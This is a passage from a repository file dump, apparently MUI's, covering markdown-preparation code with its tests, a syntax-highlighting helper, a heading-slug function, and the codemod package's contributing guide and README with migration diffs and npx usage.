  return render(content);\n      });\n\n      // fragment link symbol\n      rendered.unshift(`<svg style=\"display: none;\" xmlns=\"http://www.w3.org/2000/svg\">\n<symbol id=\"comment-link-icon\" viewBox=\"0 0 24 24\">\n<path d=\"M22.8481 4C22.8481 2.9 21.9481 2 20.8481 2H4.84814C3.74814 2 2.84814 2.9 2.84814 4V16C2.84814 17.1 3.74814 18 4.84814 18H18.8481L22.8481 22V4ZM16.8481 11H13.8481V14C13.8481 14.55 13.3981 15 12.8481 15C12.2981 15 11.8481 14.55 11.8481 14V11H8.84814C8.29814 11 7.84814 10.55 7.84814 10C7.84814 9.45 8.29814 9 8.84814 9H11.8481V6C11.8481 5.45 12.2981 5 12.8481 5C13.3981 5 13.8481 5.45 13.8481 6V9H16.8481C17.3981 9 17.8481 9.45 17.8481 10C17.8481 10.55 17.3981 11 16.8481 11Z\" />\n</symbol>\n</svg>`);\n\n      rendered.unshift(`<svg style=\"display: none;\" xmlns=\"http://www.w3.org/2000/svg\">\n<symbol id=\"anchor-link-icon\" viewBox=\"0 0 12 6\">\n<path d=\"M8.9176 0.083252H7.1676C6.84677 0.083252 6.58427 0.345752 6.58427 0.666585C6.58427 0.987419 6.84677 1.24992 7.1676 1.24992H8.9176C9.8801 1.24992 10.6676 2.03742 10.6676 2.99992C10.6676 3.96242 9.8801 4.74992 8.9176 4.74992H7.1676C6.84677 4.74992 6.58427 5.01242 6.58427 5.33325C6.58427 5.65409 6.84677 5.91659 7.1676 5.91659H8.9176C10.5276 5.91659 11.8343 4.60992 11.8343 2.99992C11.8343 1.38992 10.5276 0.083252 8.9176 0.083252ZM3.6676 2.99992C3.6676 3.32075 3.9301 3.58325 4.25094 3.58325H7.75094C8.07177 3.58325 8.33427 3.32075 8.33427 2.99992C8.33427 2.67909 8.07177 2.41659 7.75094 2.41659H4.25094C3.9301 2.41659 3.6676 2.67909 3.6676 2.99992ZM4.83427 4.74992H3.08427C2.12177 4.74992 1.33427 3.96242 1.33427 2.99992C1.33427 2.03742 2.12177 1.24992 3.08427 1.24992H4.83427C5.1551 1.24992 5.4176 0.987419 5.4176 0.666585C5.4176 0.345752 5.1551 0.083252 4.83427 0.083252H3.08427C1.47427 0.083252 0.167603 1.38992 0.167603 2.99992C0.167603 4.60992 1.47427 5.91659 3.08427 5.91659H4.83427C5.1551 5.91659 5.4176 5.65409 5.4176 5.33325C5.4176 5.01242 5.1551 4.74992 4.83427 4.74992Z\" />\n</symbol>\n</svg>`);\n\n      rendered.unshift(`<svg style=\"display: none;\" xmlns=\"http://www.w3.org/2000/svg\">\n<symbol id=\"copy-icon\" viewBox=\"0 0 24 24\">\n<path d=\"M15 20H5V7c0-.55-.45-1-1-1s-1 .45-1 1v13c0 1.1.9 2 2 2h10c.55 0 1-.45 1-1s-.45-1-1-1zm5-4V4c0-1.1-.9-2-2-2H9c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h9c1.1 0 2-.9 2-2zm-2 0H9V4h9v12z\" />\n+</symbol>\n</svg>`);\n\n      rendered.unshift(`<svg style=\"display: none;\" xmlns=\"http://www.w3.org/2000/svg\">\n<symbol id=\"copied-icon\" viewBox=\"0 0 24 24\">\n<path d=\"M20 2H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2zm-8.24 11.28L9.69 11.2c-.38-.39-.38-1.01 0-1.4.39-.39 1.02-.39 1.41 0l1.36 1.37 4.42-4.46c.39-.39 1.02-.39 1.41 0 .38.39.38 1.01 0 1.4l-5.13 5.17c-.37.4-1.01.4-1.4 0zM3 6c-.55 0-1 .45-1 1v13c0 1.1.9 2 2 2h13c.55 0 1-.45 1-1s-.45-1-1-1H5c-.55 0-1-.45-1-1V7c0-.55-.45-1-1-1z\" />\n</symbol>\n</svg>`);\n\n      // icons for callout (info, success, warning, error)\n\n      rendered.unshift(\n        `<svg style=\"display: none;\" xmlns=\"http://www.w3.org/2000/svg\">\n<symbol id=\"info-icon\" viewBox=\"0 0 20 20\">\n<path d=\"M9.996 14c.21 0 .39-.072.535-.216a.72.72 0 0 0 .219-.534v-3.5a.728.728 0 0 0-.214-.534.72.72 0 0 0-.532-.216.734.734 0 0 0-.535.216.72.72 0 0 0-.219.534v3.5c0 .213.071.39.214.534a.72.72 0 0 0 .532.216Zm0-6.5c.21 0 .39-.071.535-.214a.714.714 0 0 0 .219-.532.736.736 0 0 0-.214-.535.714.714 0 0 0-.532-.219.736.736 0 0 0-.535.214.714.714 0 0 0-.219.532c0 .21.071.39.214.535.143.146.32.219.532.219Zm.01 10.5a7.81 7.81 0 0 1-3.11-.625 8.065 8.065 0 0 1-2.552-1.719 8.066 8.066 0 0 1-1.719-2.551A7.818 7.818 0 0 1 2 9.99c0-1.104.208-2.14.625-3.105a8.066 8.066 0 0 1 4.27-4.26A7.818 7.818 0 0 1 10.009 2a7.75 7.75 0 0 1 3.106.625 8.083 8.083 0 0 1 4.26 4.265A7.77 7.77 0 0 1 18 9.994a7.81 7.81 0 0 1-.625 3.11 8.066 8.066 0 0 1-1.719 2.552 8.083 8.083 0 0 1-2.546 1.719 7.77 7.77 0 0 1-3.104.625Z\"/>\n</symbol>\n</svg>`,\n      );\n      rendered.unshift(\n        `<svg style=\"display: none;\" xmlns=\"http://www.w3.org/2000/svg\">\n<symbol id=\"success-icon\" viewBox=\"0 0 20 20\">\n<path d=\"m8.938 10.875-1.25-1.23a.718.718 0 0 0-.521-.228.718.718 0 0 0-.521.229.73.73 0 0 0 0 1.062l1.77 1.771c.153.153.327.23.521.23a.718.718 0 0 0 .521-.23l3.896-3.896a.73.73 0 0 0 0-1.062.718.718 0 0 0-.52-.23.718.718 0 0 0-.521.23l-3.376 3.354ZM10 18a7.796 7.796 0 0 1-3.104-.625 8.065 8.065 0 0 1-2.552-1.719 8.064 8.064 0 0 1-1.719-2.552A7.797 7.797 0 0 1 2 10c0-1.111.208-2.15.625-3.115a8.064 8.064 0 0 1 4.27-4.26A7.797 7.797 0 0 1 10 2c1.111 0 2.15.208 3.115.625a8.096 8.096 0 0 1 4.26 4.26C17.792 7.851 18 8.89 18 10a7.797 7.797 0 0 1-.625 3.104 8.066 8.066 0 0 1-4.26 4.271A7.774 7.774 0 0 1 10 18Z\"/>\n</symbol>\n</svg>`,\n      );\n      rendered.unshift(\n        `<svg style=\"display: none;\" xmlns=\"http://www.w3.org/2000/svg\">\n<symbol id=\"warning-icon\" viewBox=\"0 0 20 20\">\n<path d=\"M2.33 17a.735.735 0 0 1-.665-.375.631.631 0 0 1-.094-.375.898.898 0 0 1 .115-.396L9.353 3.062a.621.621 0 0 1 .281-.27.85.85 0 0 1 .729 0 .622.622 0 0 1 .281.27l7.667 12.792c.07.125.108.257.114.396a.63.63 0 0 1-.093.375.842.842 0 0 1-.271.27.728.728 0 0 1-.394.105H2.33Zm7.664-2.5c.211 0 .39-.072.536-.214a.714.714 0 0 0 .218-.532.736.736 0 0 0-.214-.535.714.714 0 0 0-.531-.22.736.736 0 0 0-.536.215.714.714 0 0 0-.219.531c0 .212.072.39.215.536.143.146.32.219.531.219Zm0-2.5c.211 0 .39-.072.536-.216a.72.72 0 0 0 .218-.534v-2.5a.728.728 0 0 0-.214-.534.72.72 0 0 0-.531-.216.734.734 0 0 0-.536.216.72.72 0 0 0-.219.534v2.5c0 .212.072.39.215.534a.72.72 0 0 0 .531.216Z\"/>\n</symbol>\n</svg>`,\n      );\n      rendered.unshift(\n        `<svg style=\"display: none;\" xmlns=\"http://www.w3.org/2000/svg\">\n<symbol id=\"error-icon\" viewBox=\"0 0 20 20\">\n<path fill-rule=\"evenodd\" d=\"M2 7.4v5.2a2 2 0 0 0 .586 1.414l3.4 3.4A2 2 0 0 0 7.4 18h5.2a2 2 0 0 0 1.414-.586l3.4-3.4A2 2 0 0 0 18 12.6V7.4a2 2 0 0 0-.586-1.414l-3.4-3.4A2 2 0 0 0 12.6 2H7.4a2 2 0 0 0-1.414.586l-3.4 3.4A2 2 0 0 0 2 7.4Zm11.03-.43a.75.75 0 0 1 0 1.06L11.06 10l1.97 1.97a.75.75 0 1 1-1.06 1.06L10 11.06l-1.97 1.97a.75.75 0 0 1-1.06-1.06L8.94 10 6.97 8.03a.75.75 0 0 1 1.06-1.06L10 8.94l1.97-1.97a.75.75 0 0 1 1.06 0Z\" clip-rule=\"evenodd\"/>\n</symbol>\n</svg>`,\n      );\n      docs[userLanguage] = {\n        description,\n        location,\n        rendered,\n        toc,\n        title,\n        headers,\n      };\n    });\n\n  if (docs.en.headers.card === 'true') {\n    const slug = docs.en.location.replace(/(.*)\\/(.*)\\.md/, '$2');\n    const exists = fs.existsSync(\n      path.resolve(config.options.workspaceRoot, `docs/public/static/blog/${slug}/card.png`),\n    );\n\n    if (!exists) {\n      throw new Error(\n        [\n          `MUI: the card image for the blog post \"${slug}\" is missing.`,\n          `Add a docs/public/static/blog/${slug}/card.png file and then restart Next.js or else remove card: true from the headers.`,\n        ].join('\\n'),\n      );\n    }\n  }\n\n  return { docs };\n}\n\nexport default prepareMarkdown;\n"
  },
  {
    "path": "packages/markdown/prepareMarkdown.test.mjs",
    "content": "import { expect } from 'chai';\nimport prepareMarkdown from './prepareMarkdown.mjs';\n\ndescribe('prepareMarkdown', () => {\n  const defaultParams = {\n    fileRelativeContext: 'test/bar',\n    options: {\n      env: {},\n    },\n  };\n\n  it('returns the table of contents with html and emojis preserved and <a> tags stripped', () => {\n    const markdown = `\n# Support\n\n<p class=\"description\">Foo.</p>\n\n## Community help (free)\n### GitHub <img src=\"/static/images/logos/github.svg\" width=\"24\" height=\"24\" alt=\"GitHub logo\" loading=\"lazy\" />\n### Unofficial 👍\n### Warning ⚠️\n### Header with Pro plan <a title=\"Pro plan\" href=\"/x/introduction/licensing/#plan-pro\"><span class=\"plan-pro\"></span></a>\n### Header with \\`code\\`\n`;\n\n    const {\n      docs: {\n        en: { toc },\n      },\n    } = prepareMarkdown({\n      ...defaultParams,\n      translations: [{ filename: 'index.md', markdown, userLanguage: 'en' }],\n    });\n\n    expect(toc).to.have.deep.ordered.members([\n      {\n        children: [\n          {\n            hash: 'github',\n            level: 3,\n            text: 'GitHub <img src=\"/static/images/logos/github.svg\" width=\"24\" height=\"24\" alt=\"GitHub logo\" loading=\"lazy\" />',\n          },\n          { hash: 'unofficial', level: 3, text: 'Unofficial 👍' },\n          { hash: 'warning', level: 3, text: 'Warning ⚠️' },\n          {\n            hash: 'header-with-pro-plan',\n            level: 3,\n            text: 'Header with Pro plan <span class=\"plan-pro\"></span>',\n          },\n          {\n            hash: 'header-with-code',\n            level: 3,\n            text: 'Header with code',\n          },\n        ],\n        hash: 'community-help-free',\n        level: 2,\n        text: 'Community help (free)',\n      },\n    ]);\n  });\n\n  it('enables word-break for function signatures', () => {\n    const markdown = `\n# Theming\n\n<p class=\"description\">Foo.</p>\n\n## API\n### responsiveFontSizes(theme, options) => theme\n### createTheme(options, ...args) => theme\n`;\n\n    const {\n      docs: {\n        en: { toc },\n      },\n    } = prepareMarkdown({\n      ...defaultParams,\n      translations: [{ filename: 'index.md', markdown, userLanguage: 'en' }],\n    });\n\n    expect(toc).to.have.deep.ordered.members([\n      {\n        children: [\n          {\n            hash: 'responsivefontsizes-theme-options-theme',\n            level: 3,\n            text: 'responsiveFontSizes(&#8203;theme, options) =&gt; theme',\n          },\n          {\n            hash: 'createtheme-options-args-theme',\n            level: 3,\n            text: 'createTheme(&#8203;options, ...args) =&gt; theme',\n          },\n        ],\n        hash: 'api',\n        level: 2,\n        text: 'API',\n      },\n    ]);\n  });\n\n  it('use english hash for different locales', () => {\n    const markdownEn = `\n# Localization\n\n<p class=\"description\">Foo.</p>\n\n## Locales\n### Example\n### Use same hash\n`;\n\n    const markdownPt = `\n# Localização\n\n<p class=\"description\">Foo.</p>\n\n## Idiomas\n### Exemplo\n### Usar o mesmo hash\n`;\n\n    const markdownZh = `\n# 所在位置\n\n<p class=\"description\">Foo.</p>\n\n## 语言环境\n### 例\n### 使用相同的哈希\n`;\n    const {\n      docs: {\n        en: { toc: tocEn },\n        pt: { toc: tocPt },\n        zh: { toc: tocZh },\n      },\n    } = prepareMarkdown({\n      pageFilename: '/same-hash-test',\n      translations: [\n        { filename: 'localization.md', markdown: markdownEn, userLanguage: 'en' },\n        { filename: 'localization-pt.md', markdown: markdownPt, userLanguage: 'pt' },\n        { filename: 'localization-zh.md', markdown: markdownZh, userLanguage: 'zh' },\n      ],\n    });\n\n    expect(tocZh).to.have.deep.ordered.members([\n      {\n        children: [\n          {\n            hash: 'example',\n            level: 3,\n            text: '例',\n          },\n          {\n            hash: 'use-same-hash',\n            level: 3,\n            text: '使用相同的哈希',\n          },\n        ],\n        hash: 'locales',\n        level: 2,\n        text: '语言环境',\n      },\n    ]);\n\n    expect(tocPt).to.have.deep.ordered.members([\n      {\n        children: [\n          {\n            hash: 'example',\n            level: 3,\n            text: 'Exemplo',\n          },\n          {\n            hash: 'use-same-hash',\n            level: 3,\n            text: 'Usar o mesmo hash',\n          },\n        ],\n        hash: 'locales',\n        level: 2,\n        text: 'Idiomas',\n      },\n    ]);\n\n    expect(tocEn).to.have.deep.ordered.members([\n      {\n        children: [\n          {\n            hash: 'example',\n            level: 3,\n            text: 'Example',\n          },\n          {\n            hash: 'use-same-hash',\n            level: 3,\n            text: 'Use same hash',\n          },\n        ],\n        hash: 'locales',\n        level: 2,\n        text: 'Locales',\n      },\n    ]);\n  });\n\n  it('use translated hash for translations are not synced', () => {\n    const markdownEn = `\n# Localization\n\n<p class=\"description\">Foo.</p>\n\n## Locales\n### Example\n### Use same hash\n`;\n\n    const markdownPt = `\n# Localização\n\n<p class=\"description\">Foo.</p>\n\n## Idiomas\n### Exemplo\n### Usar o mesmo hash\n### Usar traduzido\n`;\n\n    const {\n      docs: {\n        en: { toc: tocEn },\n        pt: { toc: tocPt },\n      },\n    } = prepareMarkdown({\n      pageFilename: '/same-hash-test',\n      translations: [\n        { filename: 'localization.md', markdown: markdownEn, userLanguage: 'en' },\n        { filename: 'localization-pt.md', markdown: markdownPt, userLanguage: 'pt' },\n      ],\n    });\n\n    expect(tocPt).to.have.deep.ordered.members([\n      {\n        children: [\n          {\n            hash: 'example',\n            level: 3,\n            text: 'Exemplo',\n          },\n          {\n            hash: 'use-same-hash',\n            level: 3,\n            text: 'Usar o mesmo hash',\n          },\n          {\n            hash: 'usar-traduzido',\n            level: 3,\n            text: 'Usar traduzido',\n          },\n        ],\n        hash: 'locales',\n        level: 2,\n        text: 'Idiomas',\n      },\n    ]);\n\n    expect(tocEn).to.have.deep.ordered.members([\n      {\n        children: [\n          {\n            hash: 'example',\n            level: 3,\n            text: 'Example',\n          },\n          {\n            hash: 'use-same-hash',\n            level: 3,\n            text: 'Use same hash',\n          },\n        ],\n        hash: 'locales',\n        level: 2,\n        text: 'Locales',\n      },\n    ]);\n  });\n\n  it('should report missing trailing splashes', () => {\n    const markdown = `\n# Localization\n\n<p class=\"description\">Foo.</p>\n\n[bar](/bar/)\n[foo](/foo)\n`;\n\n    expect(() => {\n      prepareMarkdown({\n        ...defaultParams,\n        translations: [{ filename: 'index.md', markdown, userLanguage: 'en' }],\n      });\n    }).to.throw(`docs-infra: Missing trailing slash. The following link:\n[foo](/foo) in /test/bar/index.md is missing a trailing slash, please add it.\n\nSee https://ahrefs.com/blog/trailing-slash/ for more details.\n`);\n  });\n\n  it('should report missing leading splashes', () => {\n    const markdown = `\n# Localization\n\n<p class=\"description\">Foo.</p>\n\n[bar](/bar/)\n[foo](foo/)\n`;\n\n    expect(() => {\n      prepareMarkdown({\n        ...defaultParams,\n        translations: [{ filename: 'index.md', markdown, userLanguage: 'en' }],\n      });\n    }).to.throw(`docs-infra: Missing leading slash. The following link:\n[foo](foo/) in /test/bar/index.md is missing a leading slash, please add it.\n`);\n  });\n\n  it('should report title too long', () => {\n    const markdown = `\n# Foooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo\n\n<p class=\"description\">Foo.</p>\n\n`;\n\n    expect(() => {\n      prepareMarkdown({\n        ...defaultParams,\n        translations: [{ filename: 'index.md', markdown, userLanguage: 'en' }],\n      });\n    }).to\n      .throw(`docs-infra: The title \"Foooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo\" is too long (117 characters).\nIt needs to have fewer than 70 characters—ideally less than 60. For more details, see:\nhttps://developers.google.com/search/docs/advanced/appearance/title-link\n`);\n  });\n\n  it('should report description too long', () => {\n    const markdown = `\n# Foo\n\n<p class=\"description\">Foooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo.</p>\n\n`;\n\n    expect(() => {\n      prepareMarkdown({\n        ...defaultParams,\n        translations: [{ filename: 'index.md', markdown, userLanguage: 'en' }],\n      });\n    }).to\n      .throw(`docs-infra: The description \"Foooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo.\" is too long (188 characters).\nIt needs to have fewer than 170 characters—ideally less than 160. For more details, see:\nhttps://ahrefs.com/blog/meta-description/#4-be-concise\n`);\n  });\n\n  it('should not accept sh', () => {\n    const markdown = `\n# Foo\n\n<p class=\"description\">Fo.</p>\n\n\\`\\`\\`sh\nnpm install @mui/material\n\\`\\`\\`\n\n`;\n\n    expect(() => {\n      prepareMarkdown({\n        ...defaultParams,\n        translations: [{ filename: 'index.md', markdown, userLanguage: 'en' }],\n      });\n    }).to.throw(`docs-infra: Unsupported language: \"sh\" in:\n\n\\`\\`\\`sh\nnpm install @mui/material\n\\`\\`\\`\n\nUse \"bash\" instead.\n`);\n  });\n\n  it('should report duplicated trailing splashes', () => {\n    const markdown = `\n# Localization\n\n<p class=\"description\">Foo.</p>\n\n[foo](/foo/)\n[bar](/bar//#foo)\n`;\n\n    expect(() => {\n      prepareMarkdown({\n        ...defaultParams,\n        translations: [{ filename: 'index.md', markdown, userLanguage: 'en' }],\n      });\n    }).to.throw(`docs-infra: Duplicated trailing slashes.`);\n  });\n});\n"
  },
  {
    "path": "packages/markdown/prism.d.mts",
    "content": "export default function highlight(code: string, language: string): string;\n"
  },
  {
    "path": "packages/markdown/prism.mjs",
    "content": "import prism from 'prismjs';\nimport 'prismjs/components/prism-css.js';\nimport 'prismjs/components/prism-bash.js';\nimport 'prismjs/components/prism-diff.js';\nimport 'prismjs/components/prism-javascript.js';\nimport 'prismjs/components/prism-json.js';\nimport 'prismjs/components/prism-jsx.js';\nimport 'prismjs/components/prism-markup.js';\nimport 'prismjs/components/prism-yaml.js';\nimport 'prismjs/components/prism-tsx.js';\n\nfunction highlight(code, language) {\n  let prismLanguage;\n  switch (language) {\n    case 'ts':\n      prismLanguage = prism.languages.tsx;\n      break;\n\n    case 'js':\n      prismLanguage = prism.languages.jsx;\n      break;\n\n    case 'sh':\n      throw new Error(\n        [\n          `docs-infra: Unsupported language: \"sh\" in:`,\n          '',\n          '```sh',\n          code,\n          '```',\n          '',\n          'Use \"bash\" instead.',\n          '',\n        ].join('\\n'),\n      );\n\n    case 'diff':\n      prismLanguage = { ...prism.languages.diff };\n      // original `/^[-<].*$/m` matches lines starting with `<` which matches\n      // <SomeComponent />\n      // we will only use `-` as the deleted marker\n      prismLanguage.deleted = /^[-].*$/m;\n      break;\n\n    default:\n      prismLanguage = prism.languages[language];\n      break;\n  }\n\n  if (!prismLanguage) {\n    if (language) {\n      throw new Error(`unsupported language: \"${language}\", \"${code}\"`);\n    } else {\n      prismLanguage = prism.languages.jsx;\n    }\n  }\n\n  return prism.highlight(code, prismLanguage);\n}\n\nexport default highlight;\n"
  },
  {
    "path": "packages/markdown/textToHash.mjs",
    "content": "function makeUnique(hash, unique, i = 1) {\n  const uniqueHash = i === 1 ? hash : `${hash}-${i}`;\n\n  if (!unique[uniqueHash]) {\n    unique[uniqueHash] = true;\n    return uniqueHash;\n  }\n\n  return makeUnique(hash, unique, i + 1);\n}\n\n/**\n * @param {string} text - HTML from e.g. parseMarkdown#render\n * @param {Record<string, boolean>} [unique] - Ensures that each output is unique in `unique`\n * @returns {string} that is safe to use in fragment links\n */\nexport default function textToHash(text, unique = {}) {\n  return makeUnique(\n    encodeURI(\n      text\n        .toLowerCase()\n        .replace(/<\\/?[^>]+(>|$)/g, '') // remove HTML\n        .replace(/&(?:#x[\\da-fA-F]+|#\\d+|\\w+);|<\\/?code>/g, '')\n        .replace(/[!@#$%^&*()=_+[\\]{}`~;:'\"|,.<>/?\\s]+/g, '-')\n        .replace(\n          /([\\uE000-\\uF8FF]|\\uD83C[\\uDC00-\\uDFFF]|\\uD83D[\\uDC00-\\uDFFF]|[\\u2011-\\u26FF]|\\uD83E[\\uDD10-\\uDDFF])\\uFE0F?/g,\n          '',\n        ) // remove emojis\n        .replace(/-+/g, '-')\n        .replace(/^-|-$/g, ''),\n    ),\n    unique,\n  );\n}\n"
  },
  {
    "path": "packages/markdown/textToHash.test.mjs",
    "content": "import { expect } from 'chai';\nimport { parseInline as renderInlineMarkdown } from 'marked';\nimport textToHash from './textToHash.mjs';\n\ndescribe('textToHash', () => {\n  it('should hash as expected', () => {\n    const table = [\n      ['createTheme(options) => theme', 'createtheme-options-theme'],\n      ['Typography - Font family', 'typography-font-family'],\n      [\"barre d'application\", 'barre-dapplication'],\n      [\n        'createGenerateClassName([options]) => class name generator',\n        'creategenerateclassname-options-class-name-generator',\n      ],\n      ['@mui/material/styles vs @mui/styles', 'mui-material-styles-vs-mui-styles'],\n      ['Inputs &amp; Labels', 'inputs-labels'],\n      ['Inputs &#x26; Labels', 'inputs-labels'],\n      ['Inputs &#38; Labels', 'inputs-labels'],\n      ['Blog 📝', 'blog'],\n    ];\n    table.forEach((entry, index) => {\n      const [markdown, expected] = entry;\n      // eslint-disable-next-line testing-library/render-result-naming-convention\n      const text = renderInlineMarkdown(markdown, { mangle: false, headerIds: false });\n      const actual = textToHash(text);\n\n      expect(actual).to.equal(expected, `snapshot #${index} matches`);\n    });\n  });\n\n  it('should generate a unique hash', () => {\n    const unique = {};\n    expect(textToHash('Styling solution', unique)).to.equal('styling-solution');\n    expect(textToHash('Styling solution', unique)).to.equal('styling-solution-2');\n  });\n});\n"
  },
  {
    "path": "packages/markdown/vitest.config.mts",
    "content": "// eslint-disable-next-line import/no-relative-packages\nimport sharedConfig from '../../vitest.shared.mts';\n\nexport default sharedConfig(import.meta.url);\n"
  },
  {
    "path": "packages/mui-codemod/.npmignore",
    "content": "/*\n!/src/*.js\n!/lib/*.js\n*.test.js\n"
  },
  {
    "path": "packages/mui-codemod/CONTRIBUTING.md",
    "content": "# Contributing\n\n## Understanding the codemod\n\nThe codemod is a tool that helps developers migrate their codebase when we introduce changes in a new version. The changes could be deprecations, enhancements, or breaking changes.\n\nThe codemods for JavaScript files are based on [jscodeshift](https://github.com/facebook/jscodeshift) which is a wrapper of [recast](https://github.com/benjamn/recast).\n\nThe codemods for CSS files are based on [postcss](https://github.com/postcss/postcss).\n\n## Adding a new codemod\n\n1. Create a new folder in `packages/mui-codemod/src/*/*` with the name of the codemod.\n2. The folder should include:\n   - `<codemod>.js` - the transform implementation\n   - `index.js` - exports the transform function\n   - `postcss-plugin.js` - the postcss plugin (optional)\n   - `postcss.config.js` - the postcss config file (optional)\n   - `<codemod>.test.js` - tests for the codemods (use jscodeshift from the `testUtils` folder)\n   - `test-cases` - folder with fixtures for the codemod\n     - `actual.js` - the input for the codemod\n     - `expected.js` - the expected output of the codemod\n     - `actual.css` - the input for the postcss plugin (optional)\n     - `expected.css` - the expected output of the postcss plugin (optional)\n3. Use [astexplorer](https://astexplorer.net/) to check the AST types and properties\n   - For JavaScript codemods set </> to @babel/parser because we use [`tsx`](https://github.com/benjamn/recast/blob/master/parsers/babel.ts) as a default parser.\n   - For CSS codemods set </> to postcss\n4. [Test the codemod locally](#local)\n5. Add the codemod to README.md\n\n## Testing\n\nI recommend to follow these steps to test the codemod:\n\n- Create an `actual.js` file with the code you want to transform.\n- Run [local](#local) transformation to check if the codemod is correct.\n- Copy the transformed code to `expected.js`.\n- Run `pnpm tc <codemod>` to final check if the codemod is correct.\n\n💡 The reason that I don't recommend creating the `expected.js` and run the test with `pnpm` script is because the transformation is likely not pretty-printed and it's hard to compare the output with the expected output.\n\n### Local transformation (while developing)\n\nOpen the terminal at root directory and run the codemod to test the transformation, for example, testing the `accordion-props` codemod:\n\n```bash\nnode packages/mui-codemod/codemod deprecations/accordion-props packages/mui-codemod/src/deprecations/accordion-props/test-cases/theme.actual.js\n```\n\n### CI (after opening a PR)\n\nTo simulate a consumer-facing experience on any project before merging the PR, open the CodeSandbox CI build and copy the link from the \"Local Install Instructions\" section.\n\nRun the codemod to test the transformation:\n\n```bash\nnpx @mui/codemod@<link> <codemod> <path>\n```\n\nFor example:\n\n```bash\nnpx @mui/codemod@https://pkg.csb.dev/mui/material-ui/commit/39bf9464/@mui/codemod deprecations/accordion-props docs/src/modules/brandingTheme.ts\n```\n"
  },
  {
    "path": "packages/mui-codemod/README.md",
    "content": "# @mui/codemod\n\n> Codemod scripts for Material UI, Base UI, MUI System, Joy UI.\n\n[![npm version](https://img.shields.io/npm/v/@mui/codemod.svg?style=flat-square)](https://www.npmjs.com/package/@mui/codemod)\n[![npm downloads](https://img.shields.io/npm/dm/@mui/codemod.svg?style=flat-square)](https://www.npmjs.com/package/@mui/codemod)\n\nThis repository contains a collection of codemod scripts based for use with\n[jscodeshift](https://github.com/facebook/jscodeshift) that help update the APIs.\nSome of the codemods also run [postcss](https://github.com/postcss/postcss) plugins to update CSS files.\n\n## Setup & run\n\n<!-- #npm-tag-reference -->\n\n```bash\nnpx @mui/codemod@next <codemod> <paths...>\n\nApplies a `@mui/codemod` to the specified paths\n\nPositionals:\n  codemod  The name of the codemod                                [string]\n  paths    Paths forwarded to `jscodeshift`                       [string]\n\nOptions:\n  --version  Show version number                                 [boolean]\n  --help     Show help                                           [boolean]\n  --dry      dry run (no changes are made to files)\n                                                [boolean] [default: false]\n  --parser   which parser for jscodeshift to use.\n                                                [string] [default: 'tsx']\n  --print    print transformed files to stdout, useful for development\n                                                [boolean] [default: false]\n  --jscodeshift                                  [string] [default: false]\n\nExamples:\n  npx @mui/codemod@next v4.0.0/theme-spacing-api src\n  npx @mui/codemod@next v5.0.0/component-rename-prop src --\n  --component=Grid --from=prop --to=newProp\n  npx @mui/codemod@next v5.0.0/preset-safe src --parser=flow\n```\n\n### package name\n\nUse this flag if you have a custom package name that reexports Material UI components. For example:\n\n```bash\nnpx @mui/codemod@next --packageName=\"@org/ui\"\n```\n\nThe snippet above will look for `@org/ui` instead of `@mui/material` in the codemod.\n\n### jscodeshift options\n\nTo pass more options directly to jscodeshift, use `--jscodeshift=\"...\"`. For example:\n\n```bash\nnpx @mui/codemod@next --jscodeshift=\"--run-in-band --verbose=2\"\n```\n\nSee all available options [here](https://github.com/facebook/jscodeshift#usage-cli).\n\n### Recast Options\n\nOptions to [recast](https://github.com/benjamn/recast)'s printer can be provided\nthrough jscodeshift's `printOptions` command line argument\n\n```bash\nnpx @mui/codemod@next <transform> <path> --jscodeshift=\"--printOptions='{\\\"quote\\\":\\\"double\\\"}'\"\n```\n\n## Included scripts\n\n- [Deprecations](#deprecations)\n- [v7](#v700)\n- [v6](#v600)\n- [v5](#v500)\n- [v4](#v400)\n- [v1](#v100)\n- [v0.15](#v0150)\n\n### Deprecations\n\n```bash\nnpx @mui/codemod@next deprecations/all <path>\n```\n\n#### `all`\n\nA combination of all deprecations.\n\n#### `accordion-props`\n\n```diff\n <Accordion\n-  TransitionComponent={CustomTransition}\n-  TransitionProps={{ unmountOnExit: true }}\n+  slots={{ transition: CustomTransition }}\n+  slotProps={{ transition: { unmountOnExit: true } }}\n />\n```\n\n```bash\nnpx @mui/codemod@next deprecations/accordion-props <path>\n```\n\n#### `accordion-summary-classes`\n\nJS transforms:\n\n```diff\n import { accordionSummaryClasses } from '@mui/material/AccordionSummary';\n\n MuiAccordionSummary: {\n   styleOverrides: {\n     root: {\n-      [`& .${accordionSummaryClasses.contentGutters}`]: {\n+      [`&.${accordionSummaryClasses.gutters} .${accordionSummaryClasses.content}`]: {\n         color: 'red',\n       },\n     },\n   },\n },\n```\n\n```diff\n MuiAccordionSummary: {\n   styleOverrides: {\n     root: {\n-      '& .MuiAccordionSummary-contentGutters': {\n+      '&.MuiAccordionSummary-gutters .MuiAccordionSummary-content': {\n         color: 'red',\n       },\n     },\n   },\n },\n```\n\nCSS transforms:\n\n```diff\n-.MuiAccordionSummary-root .MuiAccordionSummary-contentGutters\n+.MuiAccordionSummary-root.MuiAccordionSummary-gutters .MuiAccordionSummary-content\n```\n\n```bash\nnpx @mui/codemod@next deprecations/accordion-summary-classes <path>\n```\n\n#### `alert-classes`\n\nJS transforms:\n\n```diff\n import { alertClasses } from '@mui/material/PaginationItem';\n\n MuiPaginationItem: {\n   styleOverrides: {\n     root: {\n-      [`&.${alertClasses.standardSuccess}`]: {\n+      [`&.${alertClasses.standard}.${alertClasses.colorSuccess}`]: {\n         color: 'red',\n       },\n-      [`&.${alertClasses.standardInfo}`]: {\n+      [`&.${alertClasses.standard}.${alertClasses.colorInfo}`]: {\n         color: 'red',\n       },\n-      [`&.${alertClasses.standardWarning}`]: {\n+      [`&.${alertClasses.standard}.${alertClasses.colorWarning}`]: {\n         color: 'red',\n       },\n-      [`&.${alertClasses.standardError}`]: {\n+      [`&.${alertClasses.standard}.${alertClasses.colorError}`]: {\n         color: 